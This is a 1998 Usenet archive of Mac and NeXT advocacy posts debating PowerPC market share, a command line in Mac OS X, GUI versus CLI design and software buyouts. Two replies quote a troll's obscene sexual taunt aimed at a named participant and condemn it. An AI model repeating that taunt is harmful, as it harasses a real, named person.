Here's a link to a page that explains PPM and PGM a bit more:
<http://chaos.ph.utexas.edu/~weeks/graphics/mkppm.html>
GLo
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 22:32:12 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009982232120001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu> <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu> <01bddd20$d663d240$a672fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddd20$d663d240$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Pulsar <pulsar@springnet1.com> wrote in article
> <pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu>...
> >
> > Furthermore, your comment is ridiculous. "If market share declines too
> > much, regardless of volume..." Not regardless of volume. If there are
> tens
> > of millions of PPC based computers sold every year there will be money to
> > be made off the PPC based market as far as software. This is true even if
> > there are a billion other computers sold every year. The size of the
> market
> > makes for profitability not the share.
>
> In a publicly traded company, market share is of supreme importance.
Why? I thought revenue and profit were of supreme importance.
> Stock
> prices are based on the perception of future profits. Publicly traded
> companies are obliged to please their stockholders. If market share is
> declining, regardless of volume, stock prices are likely to decline also.
Which is some situations seems pretty dumb to me.
> Privately held companies can survive on volume alone (assuming market share
> greater than zero), but it is rare that a publicly held company can survive
> indefiniteley with continually decreasing market share.
Granted, but I don't think that Motorola and IBM's market share for PPCs
has been constantly decreasing. They have different products in other
markets, and even PowerPC chips are used in other markets than just
personal computers (or workstations or servers). There is the whole
embedded market which is not directly and so tightly tied to software as
those chips destined for computers.
> So my argument goes like this: (1) There must be some market share greater
> than zero;
Agreed.
> (2) To maintain mindshare in a high-tech company, market share
> must also be maintained;
Agreed to a certain extent. Indefinetly declining market share is generally
not good even given positive growth, but is not nearly as bad as negative
growth and increasing market share or even worse negative growth and
declining share.
> and (3) To maintain stockholder confidence in a
> publicly held company, market share usually must be stable or increasing.
I don't know how accurate that is. If revenues and profits are increasing,
I should think the stockholders are happy. Perhaps not?
> All of these suggest to me that market share must be an important
> consideration.
>
> If you still disagree, I suggest that our definitions are different and we
> obviously are not going to convince each other that the opposite viewpoint
> is correct.
Okay. If you're willing to continue the discussion, then I am, but we can
certainly leave it at this.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Dave Glue" <dglue@home.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news>
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <eT1K1.41695$hw1.14562746@news.rdc1.on.wave.home.com>
Date: Fri, 11 Sep 1998 04:42:50 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 21:42:50 PDT
Organization: @Home Network Canada
Tom Keyes wrote in message ...
>Because it's not where you are now but where you're headed that matters.
>Intel has been on top for some time but their position is starting to look
>shaky, especially with the merced fiasco and the advances in PPC.
Wish there was a way to invest in statements like this, I could have retired
based on how many times this has been uttered since the PPC was just a
rumour.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 10 Sep 1998 10:52:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1009981052140001@news>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net>
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In article <82HI1.1591$2s.1694532@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> I'm still not totally clear on either of your explanations.
>
> If I drag a folder called "Junk" to the Recycle Bin which has 100 files in
> it, and I open the Recycle Bin I will see a folder named "Junk".
Exactly.
Now open it.
What do you get? A list of the 100 files enclosed in it? No, you get the
Properties window. How are you supposed to restore one of the enclosed
files or folders?
Andy Bates.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1109980117350001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <6t98k3$d <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com> <35F87337.D69A6436@nstar.net>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 05:08:42 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 22:08:42 PDT
In article <35F87337.D69A6436@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Let me quickly say that I *really* think that this sort of thing can be
> done in a GUI. I also think that it *should* be done in a GUI. But the
> GUI is in such a state of infancy that I cannot believe more has not
> been done, considering the significant potential that lies untapped.
>
> With this in mind, I find it totally detrimental to forward progress
> that so many people are calling for the elimination of what is the
> single complex, standardized interface that affords all users a way
> forward into greater productivity. Someday, I have great hopes that we
> will obsolete the CLI; even so, it has not yet happened, and I believe
> that the CLI serves as the greatest thorn in the side of those who would
> settle for what has so far been accomplished.
I don't think I've every been involved in a thread of this length where
different parties converged so well. I'm in complete agreement. It is a
bit of a love/hate relationship, with respect to the CLI. Of course, most
of us have our histories using various CLIs. There are features of the CLI
that are very powerful and need to be emulated by the GUI. At the same
time, the CLI is also one of the impediments to doing just that. At least,
this is my theory and I've also seen this in this thread.
I think it's one of those chicken and the egg things. You've got
programmers that have been weaned on text based languages and CLIs, which
is really just more text based languages. What will it take to move those
programmers to a visual language? It really is a revolution in the exact
same way that the GUI was a revolution; it's just at a deeper level. What
did it take for users to move to a GUI? It took a visionary with deep
pockets and a big ego. Unfortunately, this same visionary thinks that
programming itself should be obsolete; not simply text based programming.
I think he's wrong.
I urge you to check out Prograph; not because it is THE solution, but
because it is A solution. I have a whole list of improvements that would
make it much better. And if it the runtime was incorporated into the
operating system, like AppleScript, we would be well on our way.
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <gregorylo-1109980120090001@cpu2522.adsl.bellglobal.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137>
Date: Fri, 11 Sep 1998 05:20:02 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 01:20:02 EDT
Organization: Bell Solutions
In article <heaney-1009981959380001@24.0.246.137>, heaney@SolidObject.com
(John Heaney) wrote:
>ls, rm, ps, grep...these are all commands that have to be memorized. It is
>a lot easier to remember how to double-click on a folder rather than type
>ls; especially when there are all those switches that effect what you see:
>-a, -l, -f, etc.
After typing 'ls' or 'ls -l' to get a nicely formatted directory listing
about a bazillion times, it becomes faster than taking your hand away from
the keyboard to move the pointing device...
But then drag and drop text editing is way-cool! Especially for repetetive text.
GLo
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 10 Sep 1998 20:33:19 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn6vgdse.2ub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74>
NNTP-Posting-Date: 10 Sep 1998 20:33:19 GMT
On 6 Sep 98 17:48:51 +0000, Wayne Fellows wrote:
:Actually you can come close. You can designate the font, change the Apple
:picture, and add colors and textures to the menus. You can also change the
:shape of windowing elemends, so your desktop can look like pretty much
:anything. There are schemes for BeOS, NeXT, the game Fallout, a rusty
:boilerplate, anything you can think of. My personal favorite is Pussy
:Galore...
Lots of Linux boxes running Afterstep sort of look like NeXTSTEP.
Even Windows 95 has an OK look---much of it stolen from NeXTSTEP.
The solid window titles, and much of the tabbed dialog boxes and layouts
look just like NeXTSTEP. Today, nobody thinks it's particularly distinctive,
but at the time it was so.
The real issue though is the feel, and they don't *work* like NeXTSTEP.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 15:26:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F835F3.909C3E2A@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net>
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William Edward Woody wrote:
> It's 10 times easier to roll a CLI interface (IMNOHO) than it is to roll
> a GUI interface. And my personal worry is that if the CLI interface is
> out there, a lot of software will start showing up for the Macintosh which
> either has a poor GUI interface (and reserves certain functionality for
> the CLI interface only), or isn't properly integrated into the Finder
> (parsing argc,argv[] is a lot easier than looking for the Open Document
> Apple Event), or otherwise uses the CLI as a crutch in it's normal
> operation. (And God help us if we revert to the days when clicking a
> menu item turns into a command line for a CLI processor! Ugh!)
I remember the days when people wanted the GUI hideable because
otherwise people might force them to write a GUI for every little
program, which is 10 times harder to do.
I quote from the SWIG manual:
"The real problem is that for every C program that I wrote, I needed to
have some sort of interface, but being more interested in other
problems, I would always end up writing a really bad interface that was
hard to extend, hard to modify, and hard to use. I suppose I could have
tried to do something fancy using X11, but who has time to waste weeks
or months trying to come up with an interface that is probably going to
end up being larger than the original C code?"
***
There is a certain category of software that doesn't want a GUI. It's
called a filter and it represents software that processes data with
minimal user input. Nevertheless, for the sake of meandering and
destructive ideals, nearly every program or function of this type has
been retro-fitted with a clumsy, slow GUI on systems where the GUI is
considered of premium value.
Now we would like to take this one step further: no new software may be
written which does not *already* have a GUI. We would like to discourage
developers from dreaming up ideas without considering the cost of
providing buttons to click and menus to pull down, even if they are
totally useless. Please do not take shortcuts: we have an Interface
Guideline specification, and we expect you to fulfill it quite
thoroughly for each piece of software you write.
***
I always have to laugh whenever someone starts bitching about "program
bloat".
> There are certain operations for which a CLI is ideally suited, such
> as "filter" applications, like compilers and text processing tools.
> But even there I'd like to see people go through the exercise and effort
> to roll a GUI interface to the CLI application.
Wow. I didn't even read this before I wrote the above. Startling how
close I was.
> (Just roll the interface
> in Interface Builder, and use 'fork()' and 'exec()' to launch the filter
> app when needed.)
So if I want to kill all processes of a certain type using the 'grep'
filter and the 'awk' filter, I would do this...how?
> The Macintosh is well known for it's ease of use, in part because Apple
> has forced a generation of programmers to provide nice user interface
> tools to end-users.
Actually, it was because the interface was built for a certain type of
application that proved to be very popular. Now that specialized
application platforms like MacOS are being put to workstation use, we
are finding that we must fit all software into our mold, a mold that no
longer accomodates all of our purposes.
Sadly, the founding principles of our interface have not evolved for
years, and there is no room left to grow in the implementation. No
matter! The dissidents are few, and many people will agree from the
beginning that we have learned everything there is to learn. All that
remains is execution.
> And I'm afraid that with a CLI, a whole new generation
> will just punt on helping make the Macintosh a friendly system.
And without it, a whole new generation will lose out on helping to make
the Macintosh a *useful* system.
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: HI BITCHES, COME FUCK ME
Date: Thu, 10 Sep 1998 22:29:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1009982229580001@sdn-ar-001casbarp205.dialsprint.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <bdz-8999655564431236@hell-flame-wars.org> <slrn6vh7h5.ci.jason@jhste1.dyn.ml.org>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <slrn6vh7h5.ci.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> BshutDupZwhore posted the following to comp.sys.mac.advocacy:
>
> >WHO GIVES A FUCKING SHIT! Lets talk about SEX. GAY SEX! Hey Tom Elam,
> >come here, I wanna butt fuck you. You sound like you need it. Fuckin
> >troll.
>
> Ah, the New Rizzo(tm).
>
> *plonk*
Yeah, the Mactroll version.
If you are a mac user and as offensive as the above person, how about just
keeping your mouth shut and do the mac community a favor by not making mac
users look like idiots.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 11 Sep 1998 01:46:17 +0000
Organization: BM
Message-ID: <6tad1r$5o8$1@ash.prod.itd.earthlink.net>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net>
<WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net>
<6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu>
<sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu>
<w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>I think
>OpenStep was significant enough, neither it or Apple was doing
>particularly well going it alone - together it could be quite nice (though
>patience is wearing thin...).
Than you're not Y2K compliant :-)
Ziya Oz
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: HI BITCHES, COME FUCK ME
Date: Thu, 10 Sep 1998 22:28:01 -0700
Organization: EarthLink Network, Inc.
Distribution: Global
Message-ID: <macghod-1009982228010001@sdn-ar-001casbarp205.dialsprint.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <bdz-8999655564431236@hell-flame-wars.org>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <bdz-8999655564431236@hell-flame-wars.org>,
bdz@hell-flame-wars.org wrote:
>
> WHO GIVES A FUCKING SHIT! Lets talk about SEX. GAY SEX! Hey Tom Elam,
> come here, I wanna butt fuck you. You sound like you need it. Fuckin
> troll.
Ahhh, must be the start of the school year, when the junior high school
wintrolls and mactrolls use big words that would get them in trouble in
school or at home.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1109980200220001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <gregorylo-1109980012560001@cpu2522.adsl.bellglobal.com>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 05:51:28 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 22:51:28 PDT
In article <gregorylo-1109980012560001@cpu2522.adsl.bellglobal.com>,
gregorylo@sympatico.ca (Gregory Lo) wrote:
> In article <heaney-1009982019280001@24.0.246.137>, heaney@SolidObject.com
> (John Heaney) wrote:
>
> >I can't help it; I think this is bizarre. How is a CLI going to help a Mac
> >user.
>
> How would it hinder them, if they didn't it was present?
If they don't (know) it is present then why give it to them?
> >You expect them to then
> >drop into a CLI interface occasionally to work more efficiently?
>
> No. I only expect some users (like me) to drop into a CLI occasionaly.
So, is the bottom line that you just don't want to pay extra for it or
make the extra effort to download it? I just have a concern that providing
the unix shell as part of the user configuration puts in on par with the
GUI. I think that would be a mistake on Apple's part. I think most
everyone agrees that the people that want this, generally, fall into the
category of developer; not user. So, it makes sense to present it as a
developer tool. To do otherwise would blemish the cornerstone of Apples
primary asset, the GUI of the MacOS. Furthermore, it would legitimize the
efforts of programmers to develop user level tools that work in the CLI,
maybe at the expense of the GUI. Even if this were more "efficient", I
think it would be a mistake. Why not just leave it in the developer realm.
> >An
> >occasional CLI user is supposed to be able to do what amounts to scripting
> >with unix?
>
> That's what AppleScript, Frontier, QuickKeys, and MacPerl are for.
Yes, but these are not nearly as complex as unix. I've actually only use
AppleScript and QuicKeys, and add to that OneClick. All of these have one
important feature that unix does not have: recordability. You can "script"
by doing. It doesn't actually work as well as you would hope, but it does
provide a starting point, at the very least. AppleScript, in particular,
since it is part of the system now, is more about allowing programmers to
add features via applets. Practically, it's more of a plugin technology
than a user level scripting language.
> Nobody is forcing anyone to abandon a GUI. That's what end users expect
> and they drive sales. However, CLI-proponents are users too, and they
> shouldn't be screwed over without good reason.
CLI-proponents are, by and large, developers. I don't see how they're
being screwed over by treating them as such.
> >There is a small population of users that will
> >benefit by having unix around; most likely running as a process under the
> >MacOS.
>
> You probably mean a CLI, not all of UNIX.
The effectiveness of a CLI is proportional to the amount of unix
functionality provided. What good is it if all the shell commands are not
implemented. All those little filters and faceless application are the
stuff the CLI is made of. What good are the expressions if there is
nothing to express?
> I can't remember the last time I used or needed to use ColorSync.
> However, it's a very important tool for a great many professionals - makes
> their lives easier, and allows them to be more productive. Most end-users
> need never concern themselves about this (if they even know that this
> faciliy exists). Insisting that this feature be _removed_ (not merely
> hidden) because one can't see how it would benefit one's own inflexible
> habits becomes tiresome after a while.
ColorSync is not the best analogy because it is an isolated technology
almost exclusively maintained by Apple. A better analogy would be
AppleScript, which was, at one time, an extra purchase. It was, for the
most part, considered a developer tool. Apple strategically made it free
so that all users would have the runtime available for AppleScripts
written by others. This makes more sense because AppleScript extends the
GUI without violating it. HyperCard was actually the first attempt at
this, but AppleScript is better integrated into the MacOS.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 21:03:22 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t9eqq$gjr@newsb.netnews.att.com>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <6t98k3$d <35F835F3.909C3E2A@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>So if I want to kill all processes of a certain type using the 'grep'
>filter and the 'awk' filter, I would do this...how?
If the requirement is to use "grep" and "awk" then you may be SOL.
However, just like you can view documents in a folder as a list,
sorted by various criteria, and can view the hierarchy of nested
folders, etc., and select subsets therefrom for various manipulations,
one could imagine a similar view of processes displayed that
enable one to manipulate processes, or process groups, etc.
i.e. Finder -> Process Finder.
-arun gupta
From: smjames@my-dejanews.com (!**?#!#$)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Down the Hall, Re: HI BITCHES, COM
Followup-To: alt.flame
Date: 11 Sep 1998 05:55:55 GMT
Organization: Little Shop of Horticulture
Message-ID: <smjames-1009982147450001@ppp-207-214-214-51.sntc01.pacbell.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <bdz-8999655564431236@hell-flame-wars.org> <slrn6vh7h5.ci.jason@jhste1.dyn.ml.org> <macghod-1009982229580001@sdn-ar-001casbarp205.dialsprint.net>
The Windows NT is down the hall, first door on your left.
Not at all, happens all the time
--
They wait apart in waning day, |meow I don't use no smilies.
the flare of crimson fades to gray. | smjames@my-dejanews.com
They rest their violence, the rest is silence.| www.geocities.com
Their empty years are ash and clay. | /SoHo/Studios/5079/index.html
From: "Paul Weaver" <paul@weaver.demon.co.uk>
Newsgroups: comp.sys.sinclair,comp.sys.palmtops.pilot,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.misc,comp.sys.mac.advocacy,comp.sys.laptops,comp.sys.ibm.pc.soundcard.tech,comp.sys.ibm.pc.hardware.chips,comp.sys.ibm.pc.hardware.video,comp.sys.ibm.
Subject: Re: Homepage
Date: Thu, 10 Sep 1998 22:02:46 +0100
Message-ID: <905461586.2850.0.nnrp-04.c2def53a@news.demon.co.uk>
References: <35F737D8.958A4BEF@netteens.com> <35F73AE9.FB041F33@earthlink.net> <35F745C2.CA239208@earthlink.net>
and a lot worse than the original poster, 70KB, not 4KB!!
Don Rife wrote in message <35F745C2.CA239208@earthlink.net>...
>you just did
>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 10 Sep 1998 14:04:07 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1009981404080001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
In article <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>> Or does Apple have enough now that they should simply rework their
>> existing APIs to a more suitable foundation for a handheld or palmtop?
>>
>
>All these excellent points would be true were it not for the fact that
>Psion's "Epoc" is an OS. Albeit, a smallish OS but its multi-tasking, PMT
>(I think), and O-O to boot... MacOS X could run "on-top" or subsets there
>of.
I understand that it is an OS. But an OS of that scale doesn't seem to be
that hard to come up with. The APIs and the support for them _are_ hard,
however. I'd think that with Epoc Apple would throwing away or downplaying
the bulk of what Epoc does that is interesting.
Are multi-tasking, PMT, OO OSes really that distinctive and hard to come
by unless you make the most of the APIs and tools that come with them? I
think of OpenStep without YB and, well, big whoop. It's Mach and BSD. It's
YB and platform independence and good design that is interesting, at least
to me.
I guess in a way, I'm wondering if Epoc is significant enough to Apple, or
whether it's better to have it out there as another choice? I think
OpenStep was significant enough, neither it or Apple was doing
particularly well going it alone - together it could be quite nice (though
patience is wearing thin...).
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: CLI vs GUI holywars! (Was Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?))
Date: Fri, 11 Sep 1998 01:03:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F8BD2A.FF5812DE@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 11 Sep 1998 06:05:12 GMT
Sal Denaro wrote:
> %start trans 1
> %ls -la |sort > xyzzy (if xyzzy exists, back it up to xyzzy.trans1.$PID)
> %commit trans 1 (All backup files removed)
> -or-
> %rollback (... or "undo", all backups are restored in the reverse that they
> are created)
That's the idea. I was thinking of something a bit more automatic,
albeit less safe. For instance, the 'rm' command would throw files into
a trash bin, and you could have a different command for emptying the
